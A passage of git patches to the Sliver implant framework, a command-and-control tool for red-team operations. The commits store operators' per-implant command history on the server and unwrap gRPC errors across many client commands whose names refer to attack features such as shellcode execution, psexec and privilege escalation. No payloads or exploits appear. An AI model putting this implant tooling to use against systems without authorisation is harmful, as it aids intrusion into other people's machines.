a/server/rpc/rpc-client-logs.go +++ b/server/rpc/rpc-client-logs.go @@ -40,7 +40,7 @@ var ( ErrInvalidStreamName = status.Error(codes.InvalidArgument, "Invalid stream name") rpcClientLogs = log.NamedLogger("rpc", "client-logs") - streamNamePattern = regexp.MustCompile("^[a-z0-9_-]+$") + streamNamePattern = regexp.MustCompile("^[a-zA-Z0-9_-]+$") ) type LogStream struct { diff --git a/server/rpc/rpc-history.go b/server/rpc/rpc-history.go new file mode 100644 index 0000000000..7c72e9b986 --- /dev/null +++ b/server/rpc/rpc-history.go @@ -0,0 +1,178 @@ +package rpc + +import ( + "context" + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "sync" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/log" +) + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +// GetImplantHistory returns a list of commands ran on an implant, by a given user or all of them. +func (rpc *Server) GetImplantHistory(ctx context.Context, req *clientpb.HistoryRequest) (*clientpb.History, error) { + commonName := rpc.getClientCommonName(ctx) + logsDir, err := getImplantHistoryDir() + if err != nil { + rpcClientLogs.Errorf("Failed to get implant log directory: %s", err) + return nil, err + } + + // Don't create if the history file does not exist. + streamName := fmt.Sprintf("%s_%s", req.ImplantName, req.ImplantID) + rpcClientLogs.Infof("Opening file %s", streamName) + logPath := filepath.Join(logsDir, streamName+".history") + if _, err := os.Stat(logPath); err != nil { + if os.IsNotExist(err) { + return &clientpb.History{}, nil + } + + return nil, err + } + + // Read the file and unmarshal in here. + var commands []*clientpb.ImplantCommand + + data, err := os.ReadFile(logPath) + if err != nil { + rpcClientLogs.Errorf("Failed to read implant history file: %s", err) + return nil, err + } + + err = json.Unmarshal(formatJSONList(data), &commands) + if err != nil { + rpcClientLogs.Error(err) + } + + history := &clientpb.History{} + + // Get only user commands if required to. + if req.UserOnly { + history.UserOnly = true + + for _, cmd := range commands { + if cmd.GetUser() == commonName { + history.Commands = append(history.Commands, cmd) + } + } + } else { + history.Commands = commands + } + + // And if requested for only a certain number of commands, cut the list. + if req.MaxLines > 0 && int(req.MaxLines) < len(history.Commands) { + oldest := len(history.Commands) - int(req.MaxLines) + history.Commands = history.Commands[oldest:] + } + + history.HistoryLen = int32(len(commands)) + + return history, nil +} + +// ImplantHistory is used by clients to log the command lines they execute on implants. +func (rpc *Server) ImplantHistory(stream rpcpb.SliverRPC_ImplantHistoryServer) error { + commonName := rpc.getClientCommonName(stream.Context()) + logsDir, err := getImplantHistoryDir() + if err != nil { + rpcClientLogs.Errorf("Failed to get implant log directory: %s", err) + return err + } + + streams := make(map[string]*LogStream) + defer func() { + for _, stream := range streams { + rpcClientLogs.Infof("Closing implant log file: %s", stream.logFile.Name()) + stream.logFile.Close() + } + }() + + for { + fromClient, err := stream.Recv() + if err == io.EOF { + break + } + if err != nil { + rpcClientLogs.Errorf("Failed to receive implant history data: %s", err) + return err + } + + streamName := fmt.Sprintf("%s_%s", fromClient.ImplantName, fromClient.ImplantID) + + // Remove useless fields and write to file. + fromClient.User = commonName + fromClient.Request = nil + + data, err := json.Marshal(fromClient) + if err != nil { + return err + } + + data = append([]byte(",\n"), data...) + + if _, ok := streams[streamName]; !ok { + streams[streamName], err = openNewHistoryStream(logsDir, streamName) + if err != nil { + rpcClientLogs.Errorf("Failed to open implant history log file: %s", err) + return err + } + } + rpcClientLogs.Debugf("Received %d bytes of implant history data for %s", len(data), streamName) + streams[streamName].Write(data) + } + return nil +} + +func getImplantHistoryDir() (string, error) { + parentLogDir := filepath.Join(log.GetLogDir(), "implants") + if err := os.MkdirAll(parentLogDir, 0o700); err != nil { + rpcClientLogs.Warnf("Failed to create client console log directory: %s", err) + return "", err + } + return parentLogDir, nil +} + +func openNewHistoryStream(logsDir string, stream string) (*LogStream, error) { + if !streamNamePattern.MatchString(stream) { + return nil, ErrInvalidStreamName + } + stream = filepath.Base(stream) + logPath := filepath.Join(logsDir, filepath.Base(stream+".history")) + logFile, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) + if err != nil { + return nil, err + } + return &LogStream{stream: stream, parts: 0, logFile: logFile, lock: &sync.Mutex{}}, nil +} + +func formatJSONList(data []byte) []byte { + data = []byte(strings.TrimPrefix(string(data), ",\n")) + data = append(data, ']') + data = append([]byte("["), data...) + + return data +} From c17c6d082cf488fff9a73e77203b888e67ac41d3 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 27 Jul 2023 15:25:06 +0200 Subject: [PATCH 044/124] Fix command history not being saved in implant CLI --- client/cli/implant.go | 25 +++++++++++++-- client/command/history/history.go | 18 +++++++---- client/console/console.go | 17 +++++------ client/console/history.go | 51 ++++++++++++++++++++++++++----- client/console/implant.go | 10 ++++++ 5 files changed, 97 insertions(+), 24 deletions(-) diff --git a/client/cli/implant.go b/client/cli/implant.go index 4f6ec6776f..6f9a2fe7b0 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -2,6 +2,7 @@ package cli import ( "errors" + "os" "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/use" @@ -11,6 +12,7 @@ import ( "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + "golang.org/x/exp/slices" ) func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { @@ -27,7 +29,8 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co // And when pre-running any of the commands in this tree, // connect to the server as we always do, but also set the // active target for this binary run. - implantCmd.PersistentPreRunE = implantPreRun(implantCmd, con) + implantCmd.PersistentPreRunE = preRunImplant(implantCmd, con) + implantCmd.PersistentPostRunE = postRunImplant(implantCmd, con) // Completions. // Unlike the server-only command tree, we need to unconditionally @@ -54,7 +57,7 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co return implantCmd } -func implantPreRun(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { +func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { return func(cmd *cobra.Command, args []string) error { if err := preRunClient(con)(cmd, args); err != nil { return err @@ -90,3 +93,21 @@ func implantPreRun(implantCmd *cobra.Command, con *client.SliverClient) func(cmd return nil } } + +func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(_ *cobra.Command, _ []string) error { + return func(cmd *cobra.Command, args []string) error { + var saveArgs []string + + for i, arg := range os.Args { + if arg == cmd.Name() { + saveArgs = os.Args[i:] + } else if slices.Contains(cmd.Aliases, arg) { + saveArgs = os.Args[i:] + } + } + + con.ActiveTarget.SaveCommandLine(saveArgs) + + return con.Disconnect() + } +} diff --git a/client/command/history/history.go b/client/command/history/history.go index 30eb32c78a..a88254c28b 100644 --- a/client/command/history/history.go +++ b/client/command/history/history.go @@ -25,6 +25,7 @@ import ( "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/fatih/color" "github.com/spf13/cobra" @@ -33,9 +34,10 @@ import ( // Commands returns all commands related to implant history. func Commands(con *console.SliverClient) []*cobra.Command { - history := &cobra.Command{ - Use: "history", - Short: "Print the implant command history", + historyCmd := &cobra.Command{ + Use: "history", + Short: "Print the implant command history", + GroupID: constants.SliverCoreHelpGroup, RunE: func(cmd *cobra.Command, args []string) error { sess, beac := con.ActiveTarget.Get() if sess == nil && beac == nil { @@ -63,7 +65,11 @@ func Commands(con *console.SliverClient) []*cobra.Command { return err } - for i, command := range history.GetCommands() { + commands := history.GetCommands() + + for i := len(commands) - 1; i >= 0; i-- { + command := commands[i] + if user && command.GetUser() != clientUser { continue } @@ -84,10 +90,10 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } - flags.Bind("history", false, history, func(f *pflag.FlagSet) { + flags.Bind("history", false, historyCmd, func(f *pflag.FlagSet) { f.BoolP("user", "u", false, "Only print implant commands executed by user") f.BoolP("time", "t", false, "Print the exec time before the command line (tab separated)") }) - return []*cobra.Command{history} + return []*cobra.Command{historyCmd} } diff --git a/client/console/console.go b/client/console/console.go index ee00c6c710..04938679aa 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -91,6 +91,7 @@ type SliverClient struct { // Core client Teamclient *client.Client App *console.Console + Settings *assets.ClientSettings IsServer bool IsCLI bool IsCompleting bool @@ -106,7 +107,6 @@ type SliverClient struct { EventListeners *sync.Map BeaconTaskCallbacks map[string]BeaconTaskCallback BeaconTaskCallbacksMutex *sync.Mutex - Settings *assets.ClientSettings } // NewSliverClient is the general-purpose Sliver Client constructor. @@ -145,17 +145,14 @@ func newConsole() *SliverClient { settings, _ := assets.LoadSettings() con := &SliverClient{ - App: console.New("sliver"), - ActiveTarget: &ActiveTarget{ - observers: map[int]Observer{}, - observerID: 0, - }, - EventListeners: &sync.Map{}, - BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, - BeaconTaskCallbacksMutex: &sync.Mutex{}, + App: console.New("sliver"), Settings: settings, IsCLI: true, printf: fmt.Printf, + ActiveTarget: newActiveTarget(), + EventListeners: &sync.Map{}, + BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, + BeaconTaskCallbacksMutex: &sync.Mutex{}, } con.App.SetPrintLogo(func(_ *console.Console) { @@ -218,6 +215,8 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { sliver.AddHistorySource("implant history (all users)", histAll) } + con.ActiveTarget.hist = histAll + con.closeLogs = append(con.closeLogs, func() { histuser.Close() histAll.Close() diff --git a/client/console/history.go b/client/console/history.go index 32fb3f234e..9981cea48f 100644 --- a/client/console/history.go +++ b/client/console/history.go @@ -21,6 +21,7 @@ package console import ( "context" "errors" + "strings" "time" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -35,6 +36,19 @@ type implantHistory struct { user bool } +// SaveCommandLine sends a command-line to the server for saving, +// with information about the currrent active target and user. +// Called in the implant-command tree root persistent post-runner. +func (s *ActiveTarget) SaveCommandLine(args []string) { + if s.hist == nil { + return + } + + cmdline := strings.Join(args, " ") + + s.hist.Write(cmdline) +} + func (con *SliverClient) newImplantHistory(user bool) (*implantHistory, error) { hist := &implantHistory{ con: con, @@ -61,21 +75,23 @@ func (con *SliverClient) newImplantHistory(user bool) (*implantHistory, error) { } // Write - Sends the last command to the server for saving. -func (h *implantHistory) Write(s string) (int, error) { +func (h *implantHistory) Write(cmdline string) (int, error) { sess, beac := h.con.ActiveTarget.Get() if sess == nil && beac == nil { return len(h.items), nil } + cmdline = strings.TrimSpace(cmdline) + // Don't save queries for the list of commands. - if s == "history" { + if isTrivialCommand(cmdline) { return len(h.items), nil } // Populate a command line with its context. cmd := &clientpb.ImplantCommand{} - cmd.Block = s + cmd.Block = cmdline cmd.ExecutedAt = time.Now().Unix() if sess != nil { @@ -99,8 +115,8 @@ func (h *implantHistory) Write(s string) (int, error) { } // GetLine returns a line from history. -func (h *implantHistory) GetLine(i int) (string, error) { - if i < 0 { +func (h *implantHistory) GetLine(pos int) (string, error) { + if pos < 0 { return "", nil } @@ -109,11 +125,11 @@ func (h *implantHistory) GetLine(i int) (string, error) { h.Dump() } - if i >= len(h.items) { + if pos >= len(h.items) { return "", errors.New("Invalid history index") } - return h.items[i].Block, nil + return h.items[pos].Block, nil } // Len returns the number of lines in history. @@ -160,3 +176,24 @@ func (h *implantHistory) Close() error { _, err := h.Stream.CloseAndRecv() return err } + +func isTrivialCommand(cmdline string) bool { + ignoreCmds := map[string]bool{ + "": true, + "background": true, + "history": true, + } + + for key := range ignoreCmds { + if key != "" && strings.HasPrefix(cmdline, key) { + return true + } + } + + ignore, found := ignoreCmds[cmdline] + if !found { + return false + } + + return ignore +} diff --git a/client/console/implant.go b/client/console/implant.go index fa2409f616..0bd05496cc 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -36,6 +36,16 @@ type ActiveTarget struct { observers map[int]Observer observerID int con *SliverClient + hist *implantHistory +} + +func newActiveTarget() *ActiveTarget { + at := &ActiveTarget{ + observers: map[int]Observer{}, + observerID: 0, + } + + return at } // GetSessionInteractive - Get the active target(s). From 984b334bb80b6cf6cfb4da8226348e330bf2906f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 27 Jul 2023 16:35:28 +0200 Subject: [PATCH 045/124] Unwrap all gRPC errors returned by calls in commands --- client/cli/implant.go | 6 +++- client/command/backdoor/backdoor.go | 2 +- client/command/backdoor/commands.go | 7 ++--- client/command/beacons/beacons.go | 2 +- client/command/beacons/helpers.go | 6 ++-- client/command/beacons/prune.go | 6 ++-- client/command/beacons/rm.go | 2 +- client/command/builders/builders.go | 2 +- client/command/crack/crack-files.go | 28 +++++++++---------- client/command/crack/crack.go | 6 ++-- client/command/crack/helpers.go | 6 ++-- client/command/creds/add.go | 8 +++--- client/command/creds/creds.go | 6 ++-- client/command/creds/rm.go | 4 +-- client/command/creds/select.go | 4 +-- client/command/cursed/cursed-chrome.go | 16 +++++------ client/command/cursed/cursed-edge.go | 4 +-- client/command/cursed/cursed-electron.go | 8 +++--- client/command/cursed/cursed-rm.go | 2 +- client/command/dllhijack/dllhijack.go | 2 +- client/command/environment/commands.go | 7 ++--- client/command/environment/get.go | 12 ++++---- client/command/environment/set.go | 12 ++++---- client/command/environment/unset.go | 12 ++++---- client/command/exec/execute-assembly.go | 2 +- client/command/exec/execute-shellcode.go | 10 +++---- client/command/exec/execute.go | 2 +- client/command/exec/migrate.go | 4 +-- client/command/exec/msf-inject.go | 2 +- client/command/exec/msf.go | 2 +- client/command/exec/psexec.go | 8 +++--- client/command/exec/sideload.go | 2 +- client/command/exec/spawndll.go | 2 +- client/command/exec/ssh.go | 2 +- client/command/filesystem/cat.go | 2 +- client/command/filesystem/cd.go | 2 +- client/command/filesystem/chmod.go | 2 +- client/command/filesystem/chown.go | 2 +- client/command/filesystem/chtimes.go | 2 +- client/command/filesystem/cp.go | 2 +- client/command/filesystem/download.go | 2 +- client/command/filesystem/memfiles-add.go | 2 +- client/command/filesystem/memfiles-list.go | 2 +- client/command/filesystem/memfiles-rm.go | 2 +- client/command/filesystem/mkdir.go | 2 +- client/command/filesystem/mv.go | 2 +- client/command/filesystem/pwd.go | 2 +- client/command/filesystem/rm.go | 2 +- client/command/filesystem/upload.go | 2 +- client/command/generate/generate-info.go | 2 +- client/command/generate/generate-stager.go | 2 +- client/command/generate/generate.go | 12 ++++---- client/command/generate/helpers.go | 14 +++++----- client/command/generate/implants-rm.go | 2 +- client/command/generate/implants.go | 4 +-- client/command/generate/profiles-generate.go | 2 +- client/command/generate/profiles-new.go | 2 +- client/command/generate/profiles-rm.go | 2 +- client/command/generate/profiles.go | 6 ++-- client/command/generate/regenerate.go | 2 +- client/command/generate/traffic-encoders.go | 8 +++--- client/command/history/history.go | 2 +- client/command/hosts/hosts-ioc-rm.go | 2 +- client/command/hosts/hosts-rm.go | 2 +- client/command/hosts/hosts.go | 4 +-- client/command/info/info.go | 2 +- client/command/info/ping.go | 2 +- client/command/jobs/dns.go | 2 +- client/command/jobs/http.go | 2 +- client/command/jobs/https.go | 2 +- client/command/jobs/jobs.go | 8 +++--- client/command/jobs/mtls.go | 2 +- client/command/jobs/stage.go | 6 ++-- client/command/jobs/wg.go | 2 +- client/command/kill/commands.go | 5 ++-- client/command/kill/kill.go | 9 +++--- client/command/loot/fetch.go | 2 +- client/command/loot/local.go | 2 +- client/command/loot/loot.go | 2 +- client/command/loot/remote.go | 4 +-- client/command/loot/rename.go | 4 +-- client/command/loot/rm.go | 4 +-- client/command/monitor/commands.go | 3 +- client/command/monitor/start.go | 7 ++--- client/command/monitor/stop.go | 7 ++--- client/command/network/commands.go | 5 ++-- client/command/network/ifconfig.go | 13 ++++----- client/command/network/netstat.go | 11 ++++---- client/command/pivots/details.go | 2 +- client/command/pivots/graph.go | 2 +- client/command/pivots/helpers.go | 2 +- client/command/pivots/pivots.go | 2 +- client/command/pivots/start.go | 4 +-- client/command/pivots/stop.go | 4 +-- client/command/prelude-operator/commands.go | 7 ++--- client/command/prelude-operator/connect.go | 7 ++--- client/command/prelude-operator/operator.go | 3 +- client/command/privilege/commands.go | 7 ++--- client/command/privilege/getprivs.go | 11 ++++---- client/command/privilege/getsystem.go | 12 ++++---- client/command/privilege/impersonate.go | 12 ++++---- client/command/privilege/make-token.go | 12 ++++---- client/command/privilege/rev2self.go | 12 ++++---- client/command/privilege/runas.go | 12 ++++---- client/command/processes/commands.go | 7 ++--- client/command/processes/procdump.go | 11 ++++---- client/command/processes/ps.go | 23 ++++++++------- client/command/processes/pstree.go | 7 ++--- client/command/processes/terminate.go | 11 ++++---- client/command/reconfig/reconfig.go | 2 +- client/command/reconfig/rename.go | 2 +- client/command/registry/commands.go | 7 ++--- client/command/registry/reg-create.go | 12 ++++---- client/command/registry/reg-delete.go | 12 ++++---- client/command/registry/reg-list.go | 18 ++++++------ client/command/registry/reg-read.go | 12 ++++---- client/command/registry/reg-write.go | 12 ++++---- client/command/rportfwd/portfwd-add.go | 2 +- client/command/rportfwd/portfwd-rm.go | 2 +- client/command/rportfwd/portfwd.go | 2 +- client/command/screenshot/screenshot.go | 2 +- client/command/sessions/close.go | 2 +- client/command/sessions/helpers.go | 2 +- client/command/sessions/interactive.go | 2 +- client/command/sessions/prune.go | 2 +- client/command/sessions/sessions.go | 2 +- client/command/shell/shell.go | 6 ++-- client/command/shikata-ga-nai/commands.go | 7 ++--- client/command/shikata-ga-nai/sgn.go | 7 ++--- client/command/taskmany/taskmany.go | 13 ++++----- client/command/tasks/fetch.go | 12 ++++---- client/command/tasks/helpers.go | 4 +-- client/command/tasks/tasks-cancel.go | 6 ++-- client/command/tasks/tasks.go | 2 +- client/command/update/update.go | 2 +- client/command/use/use.go | 8 +++--- client/command/wasm/wasm.go | 12 ++++---- .../command/websites/websites-add-content.go | 2 +- .../command/websites/websites-rm-content.go | 4 +-- client/command/websites/websites-rm.go | 2 +- .../websites/websites-update-content.go | 2 +- client/command/websites/websites.go | 6 ++-- client/command/wireguard/wg-config.go | 2 +- client/command/wireguard/wg-portfwd-add.go | 2 +- client/command/wireguard/wg-portfwd-rm.go | 4 +-- client/command/wireguard/wg-portfwd.go | 2 +- client/command/wireguard/wg-socks-start.go | 2 +- client/command/wireguard/wg-socks-stop.go | 2 +- client/command/wireguard/wg-socks.go | 4 +-- client/console/console.go | 8 ++++++ 150 files changed, 379 insertions(+), 417 deletions(-) diff --git a/client/cli/implant.go b/client/cli/implant.go index 6f9a2fe7b0..85eaff1379 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -70,7 +70,7 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd target, _ := implantCmd.Flags().GetString("use") if target == "" { - return errors.New("no target implant to run command on") + return errors.New("no active implant target to run command") } // Load either the session or the beacon. @@ -98,6 +98,10 @@ func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(_ return func(cmd *cobra.Command, args []string) error { var saveArgs []string + // Save only the subset of the command line starting + // at the implant root (not the server one). This + // is quite hackish, but I could not come up with + // a better solution. for i, arg := range os.Args { if arg == cmd.Name() { saveArgs = os.Args[i:] diff --git a/client/command/backdoor/backdoor.go b/client/command/backdoor/backdoor.go index 474903358d..b4de5bd30a 100644 --- a/client/command/backdoor/backdoor.go +++ b/client/command/backdoor/backdoor.go @@ -55,7 +55,7 @@ func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/backdoor/commands.go b/client/command/backdoor/commands.go index 615750479c..72f893e788 100644 --- a/client/command/backdoor/commands.go +++ b/client/command/backdoor/commands.go @@ -1,15 +1,14 @@ package backdoor import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/beacons/beacons.go b/client/command/beacons/beacons.go index 81b77a7bcf..a92f992e55 100644 --- a/client/command/beacons/beacons.go +++ b/client/command/beacons/beacons.go @@ -86,7 +86,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintBeacons(beacons.Beacons, filter, filterRegex, con) diff --git a/client/command/beacons/helpers.go b/client/command/beacons/helpers.go index 15125dbd63..6a651cb07c 100644 --- a/client/command/beacons/helpers.go +++ b/client/command/beacons/helpers.go @@ -47,7 +47,7 @@ func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) { defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons @@ -106,7 +106,7 @@ func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, er defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons @@ -124,7 +124,7 @@ func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) { defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(beacons.Beacons) == 0 { return nil, ErrNoBeacons diff --git a/client/command/beacons/prune.go b/client/command/beacons/prune.go index b1a7910d9f..478c98aa21 100644 --- a/client/command/beacons/prune.go +++ b/client/command/beacons/prune.go @@ -41,7 +41,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin defer cancel() beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } pruneBeacons := []*clientpb.Beacon{} @@ -63,7 +63,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin for index, beacon := range pruneBeacons { beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) continue } con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID) @@ -79,7 +79,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []strin for _, beacon := range pruneBeacons { _, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) errCount++ } } diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index 4924b6c8a1..c42fa11ff8 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -34,7 +34,7 @@ func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) defer cancel() _, err = con.Rpc.RmBeacon(grpcCtx, beacon) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Beacon removed (%s)\n", beacon.ID) diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index d7049d7263..2c14e4f1ec 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -35,7 +35,7 @@ import ( func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if len(builders.Builders) == 0 { diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index c31383d1ff..d6dc856deb 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -38,7 +38,7 @@ import ( func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(wordlists.Files) == 0 { @@ -58,7 +58,7 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []str func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(rules.Files) == 0 { @@ -78,7 +78,7 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(hcstat2.Files) == 0 { @@ -195,7 +195,7 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args [] IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n", @@ -239,7 +239,7 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []stri IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n", @@ -283,7 +283,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []st IsCompressed: true, }) if err != nil { - con.PrintErrorf("Failed to create file: %s\n", err) + con.PrintErrorf("Failed to create file: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n", @@ -320,7 +320,7 @@ func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *consol }) n++ if err != nil { - errors = append(errors, err) + errors = append(errors, con.UnwrapServerErr(err)) continue } } @@ -340,7 +340,7 @@ func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *consol Sha2_256: hex.EncodeToString(digest.Sum(nil)), }) if err != nil { - con.PrintErrorf("Failed to complete file upload: %s\n", err) + con.PrintErrorf("Failed to complete file upload: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total)) @@ -413,7 +413,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []s } wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -422,7 +422,7 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []s found = true _, err := con.Rpc.CrackFileDelete(context.Background(), wordlist) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break @@ -447,7 +447,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -456,7 +456,7 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []strin found = true _, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break @@ -481,7 +481,7 @@ func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []str } hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } found := false @@ -490,7 +490,7 @@ func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []str found = true _, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } break diff --git 